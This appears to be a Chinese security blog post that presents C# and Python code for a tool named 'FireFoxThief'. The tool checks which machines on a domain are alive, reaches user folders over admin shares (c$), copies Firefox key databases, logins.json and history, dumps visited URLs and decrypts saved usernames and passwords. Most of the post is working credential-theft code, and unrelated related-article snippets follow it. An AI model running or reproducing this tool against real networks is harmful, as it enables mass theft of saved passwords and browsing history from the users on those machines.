firefox批量get password

VSole2022-08-23 15:56:55

0x01 前置

firefox配置记录在%APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\,其中X为8位随机符,后面有可能跟了一些字符。

在域内批量导出firefox浏览器配置文件,然后改了下firepwd自动化读取文件。

firefox版本小于32没写,如果需要可以自行在代码里面添加如下代码。

string firefox_signons = "signons.sqlite";
string firefox_signons_path = FindFile(ProfilePathss, firefox_signons);
if (firefox_signons_path != "")
{
    Console.ForegroundColor = ConsoleColor.Green;
    Console.WriteLine("[+]" + firefox_signons_path);
    Console.WriteLine("[*]version > 58.0.2");
    Console.ForegroundColor = ConsoleColor.White;
    //copy file
    string signons_file_path_cuurent = UserFolder + "\\" + firefox_signons;
    StreamWriter signons_file_cuurent = File.CreateText(signons_file_path_cuurent);
    signons_file_cuurent.Close();
    bool isrewrite = true;
    File.Copy(firefox_signons_path, signons_file_path_cuurent, isrewrite);
}

0x02 批量判断

首先读取machine.txt然后判断是否存活接着批量判断是否存在配置文件,然后在本地创建机器名用户名以及对应的配置文件。

1.存活判断(面向百度)

public static bool IsMachineUp(string hostName)
{
    bool retVal = false;
    try
    {
        Ping pingSender = new Ping();
        PingOptions options = new PingOptions();
        // Use the default Ttl value which is 128,
        // but change the fragmentation behavior.
        options.DontFragment = true;
        // Create a buffer of 32 bytes of data to be transmitted.
        string data = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
        byte[] buffer = Encoding.ASCII.GetBytes(data);
        int timeout = 800;
        PingReply reply = pingSender.Send(hostName, timeout, buffer, options);
        if (reply.Status == IPStatus.Success)
        {
            retVal = true;
        }
    }
    catch (Exception ex)
    {
        retVal = false;
        //Console.ForegroundColor = ConsoleColor.Red;
        //Console.WriteLine("[-]" + ex.Message);
        //Console.ForegroundColor = ConsoleColor.White;
    }
    return retVal;
}

读取machine.txt然后丢给IsMachineUp方法

如果机器存活,在本机创建FireFoxInfo目录

string currentpath = Directory.GetCurrentDirectory();
FireFoxInfo = currentpath + "\\FireFoxInfo";
Directory.CreateDirectory(FireFoxInfo);
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[*]" + machine);
Console.ForegroundColor = ConsoleColor.White;

然后获取c:\users\目录下的用户目录再判断firefox配置文件是否存在与改用户目录,如果存在则在本地继续创建对应的用户目录,方便于区分

string userpath = @"\\" + machine + @"\c$\users";
var user_list = Directory.EnumerateDirectories(userpath);
foreach (string user in user_list)
{
    string username = substring(user);
    string ProfilePathss = user + "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles";
    if (Directory.Exists(ProfilePathss))
    {
        Console.ForegroundColor = ConsoleColor.Yellow;
        Console.WriteLine("[*]" + user);
        Console.ForegroundColor = ConsoleColor.White;
        //create machine directory
        string MachineFolder = FireFoxInfo + "\\" + machine;
        Directory.CreateDirectory(MachineFolder);
        //create user direcotry
        string UserFolder = MachineFolder + "\\" + username;
        Directory.CreateDirectory(UserFolder);

接下来我们需要判断是否存在一下文件

Firefox 版本 <32 (key3.db, signons.sqlite) Firefox 版本 >=32 (key3.db, logins.json) Firefox 版本 >=58.0.2 (key4.db, logins.json) Firefox 版本 >=75.0 (sha1 pbkdf2 sha256 aes256 cbc used by key4.db, logins.json)
string old_firefox_key = "key3.db";
string firefox_key = "key4.db";
string firefox_json = "logins.json";
string firefox_cookie = "places.sqlite";

跟到FindFile方法。

public static string FindFile(string filePath, string fileName)
{
    string returnstr = "";
    DirectoryInfo[] dateDirArr = new DirectoryInfo(filePath).GetDirectories();
    foreach (DirectoryInfo directoryInfo in dateDirArr)
    {
        //Console.WriteLine(directoryInfo);
        string Directoryfullpath = filePath + "\\" + directoryInfo;
        string Filefullpath = Directoryfullpath + "\\" + fileName;
        if (!File.Exists(Filefullpath))
        {
            FindFile(Directoryfullpath, fileName);
        }
        else
        {
            returnstr =  Filefullpath;
        }
    }
    return returnstr;
}

遍历目录以及子目录,如果存在则返回全路径,反正返回空。

0x03 历史记录

历史记录存在与places.sqlite库的moz_places表里面

所以我们在当前用户目录创建文件夹然后创建history.txt记录值,不要忘记关闭打开的sqlite数据库。

if (firefox_cookie_path != "")
{
    //copy
    string cookie_path_current = UserFolder + "\\" + firefox_cookie;
    StreamWriter cookue_file_cuurent = File.CreateText(cookie_path_current);
    cookue_file_cuurent.Close();
    bool isrewrite = true;
    File.Copy(firefox_cookie_path, cookie_path_current, isrewrite);
    SQLiteConnection connect = new SQLiteConnection(@"Data Source=" + cookie_path_current);
    connect.Open();
    string sql = "select  * from moz_places";
    SQLiteCommand command = new SQLiteCommand(sql, connect);
    command.CommandType = CommandType.Text;
    SQLiteDataReader r = command.ExecuteReader();
    string gethistorypath = UserFolder + "\\history.txt";
    StreamWriter history = File.CreateText(gethistorypath);
    history.Close();
    string HistoryMemberof = "user:" + username + "\r\n\r\n";
    File.AppendAllText(gethistorypath, HistoryMemberof);
    while (r.Read())
    {
        string url = Convert.ToString(r["url"]);
        string title = Convert.ToString(r["title"]);
        string description = Convert.ToString(r["description"]);;
        string out_string = "url:"+url + "\r\n" + "title:"+title + "\r\n";
        File.AppendAllText(gethistorypath, out_string);
    }
    connect.Close();
    
}

0x04 下载db和json

同理直接下载json文件和db文件。我们可以打开看看logins.json文件内容。

这里引用文章:https://www.cnblogs.com/unicodeSec/p/14875364.html

Firefox 版本 >= 58.0.2 < 75
根据上述的描述,解密Firefox存储在本地的登录信息需要以下步骤:
找到当前计算机Firefox的profile目录,检查key4.db和logins.json文件是否存在。
如果存在,从key4.db中提取已编码+加密的password-check数据,先ASN1解码然后使用3DES解密被加密的password-check字符串(这样做是为了确认提取的密码是否正确)。
从key4.db中提取编码的+加密的主密钥 ,ASN.1解码,然后3DES解密主密钥。
从logins.json中读取加密的登录名和密码,ASN.1解码,然后3DES使用主密钥解密登录数据
Firefox 版本 >= 75
和Firefox 版本 >= 58.0.2 < 75不同的是,在加密password-check数据和主密钥使用了hmacWithSHA256的哈希算法和AES256 cbc的加密算法,所以解密步骤如下所示:
根据上述的描述,解密Firefox存储在本地的登录信息需要以下步骤:
找到当前计算机Firefox的profile目录,检查key4.db和logins.json文件是否存在。
如果存在,从key4.db中提取已编码+加密的password-check数据,先ASN1解码然后使用AES解密被加密的password-check字符串(这样做是为了确认提取的密码是否正确)。
从key4.db中提取编码的+加密的主密钥 ,ASN.1解码,然后3DES解密主密钥。
从logins.json中读取加密的登录名和密码,ASN.1解码,然后3DES使用主密钥解密登录数据

if (firefox_json_path != "" && firefox_key_path != "")
{
    Console.ForegroundColor = ConsoleColor.Green;
    Console.WriteLine("[+]" + firefox_key_path);
    Console.WriteLine("[+]" + firefox_json_path);
    Console.WriteLine("[*]version >= 58.0.2");
    Console.ForegroundColor = ConsoleColor.White;
    //copy file
    string json_file_path_cuurent = UserFolder + "\\" + firefox_json;
    StreamWriter json_file_cuurent = File.CreateText(json_file_path_cuurent);
    json_file_cuurent.Close();
    bool isrewrite = true;
    File.Copy(firefox_json_path, json_file_path_cuurent, isrewrite);
    string firefox_key_path_cuurent = UserFolder + "\\" + firefox_key;
    StreamWriter firefox_key_cuurent = File.CreateText(firefox_key_path_cuurent);
    firefox_key_cuurent.Close();
    File.Copy(firefox_key_path, firefox_key_path_cuurent, isrewrite);
}
if (firefox_json_path != "" && firefox_old_key_path != "")
{
    Console.ForegroundColor = ConsoleColor.Green;
    Console.WriteLine("[+]" + firefox_old_key_path);
    Console.WriteLine("[+]" + firefox_old_key_path);
    Console.WriteLine("[*]version > 58.0.2");
    Console.ForegroundColor = ConsoleColor.White;
    //copy file
    string json_file_path_cuurent = UserFolder + "\\" + firefox_json;
    StreamWriter json_file_cuurent = File.CreateText(json_file_path_cuurent);
    json_file_cuurent.Close();
    bool isrewrite = true;
    File.Copy(firefox_json_path, json_file_path_cuurent, isrewrite);
    string firefox_key_path_cuurent = UserFolder + "\\" + old_firefox_key;
    StreamWriter firefox_key_cuurent = File.CreateText(firefox_key_path_cuurent);
    firefox_key_cuurent.Close();
    File.Copy(firefox_old_key_path, firefox_key_path_cuurent, isrewrite);
}

执行效果

0x05 解析密码

这里改的firepwd来自动解析我们的FireFoxInfo文件夹。修改下传参即可

target_path = []
dir = "C:\\Users\\Administrator\\Desktop\\c#\\FireFoxThief\\FireFoxThief\\FireFoxThief\\bin\\Release\\FireFoxInfo\\"
for root, dirs, files in os.walk(dir):
    for file in files:
        path = os.path.join(root,file)
        if("logins.json" in os.path.join(root,file)):
            path = path.replace("logins.json","")
            target_path.append(path)
for i in target_path:
  print(i)
  key, algo = getKey(  options.masterPassword.encode(), Path(i) )
  if key==None:
    sys.exit()
  #print(hexlify(key))
  logins = getLoginData(i)
  if len(logins)==0:
    print ('no stored passwords')
  else:
    print ('decrypting login/password pairs' )
  if algo == '1.2.840.113549.1.12.5.1.3' or algo == '1.2.840.113549.1.5.13':  
    for i in logins:
      assert i[0][0] == CKA_ID
      print ('%20s:' % (i[2]),end='')  #site URL
      iv = i[0][1]
      ciphertext = i[0][2] 
      print ( unpad( DES3.new( key, DES3.MODE_CBC, iv).decrypt(ciphertext),8 ), end=',')
      iv = i[1][1]
      ciphertext = i[1][2] 
      print ( unpad( DES3.new( key, DES3.MODE_CBC, iv).decrypt(ciphertext),8 ) )
      print("\r\n")

最后效果。

string
本作品采用《CC 协议》,转载必须注明作者和本文链接
如果你不是 Java8 的钉子户,你应该早就发现了:String 类的源码已经由 char[] 优化为了 byte[] 来存储字符串内容,为什么要这样做呢? 开门见山地说,从 char[] 到 byte[],最主要的目的是为了节省字符串占用的内存 。内存占用减少带来的另外一个好处,就是 GC 次数也会减少。
Adobe已经发布了一个名为Stringlifier的开源工具,该工具允许用户识别任何纯文本中随机生成的字符串,该工具可用于清理日志。Stringlifier工具是用Python编写的,它使用机器学习来识别插入普通文本中的随机字符序列。开源工具可用于出于多种目的分析日志,例如研究意外暴露的凭证。Stringlifier能够在源代码或配置文件中查找API密钥,哈希,随机生成的字符串,包括密码,日志。Adobe在Github上发布的描述中写道。
介绍Runtime 是一系列采用 C++ 语言编写的功能方法,它实现了大量 JavaScript 运行期间需要的 native 功能。本文分析 Runtime_StringToArray 方法的源码和重要数据结构,讲解 Runtime_StringToArray 方法的触发条件。
介绍Runtime 是一系列采用 C++ 语言编写的功能方法,它实现了大量 JavaScript 运行期间需要的 native 功能。
通过common-collection相关gadget,想办法调用org.mozilla.classfile.DefiningClassLoader这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。
举个例子:但是对于64位的来说 ROPgadget预设的长度是不够的。所以,我们可以使用ROPgadget --binary ./b --depth 100来加深他的搜索深度。2利用_libc_csu_init制造ROP常规方法我们前面说的利用ROPgadget来寻找,大多都是找到直接设置某个寄存器的rop,当然也可以使用--ropchain这个参数。
一般情况下类与类之间是相互独立的,内部类的意思就是打破这种独立思想,让一个类成为另一个类的内部信息,和成员变量、成员方法同等级别。「内部类的好处:」把一个类写在外面和写在里面最终达到的结果都一样,那我们为什么还要使用内部类,岂不是多此一举吗?
当被问及网络间谍是否成功时,爱德华·斯金格表示,他非常有信心地确信,除了国防学院本身,没有任何其他危害行为。斯金格接受采访时透露,本次攻击看起来不像是一次暴力攻击,但有代价。国防学院立即意识到它可能已成为敌对国家在灰色地带式网络攻击中的目标的可能性。官方迅速采取了行动,对更广泛的国防部IT网络没有影响。
java安全-02RMI
2022-03-25 15:35:13
基础知识动态代理反射攻击方式注册端攻击服务端java -cp .\ysoserial-master-8eb5
MISC中常用python脚本
2021-09-20 20:26:46
MISC中常用python脚本总结
VSole
网络安全专家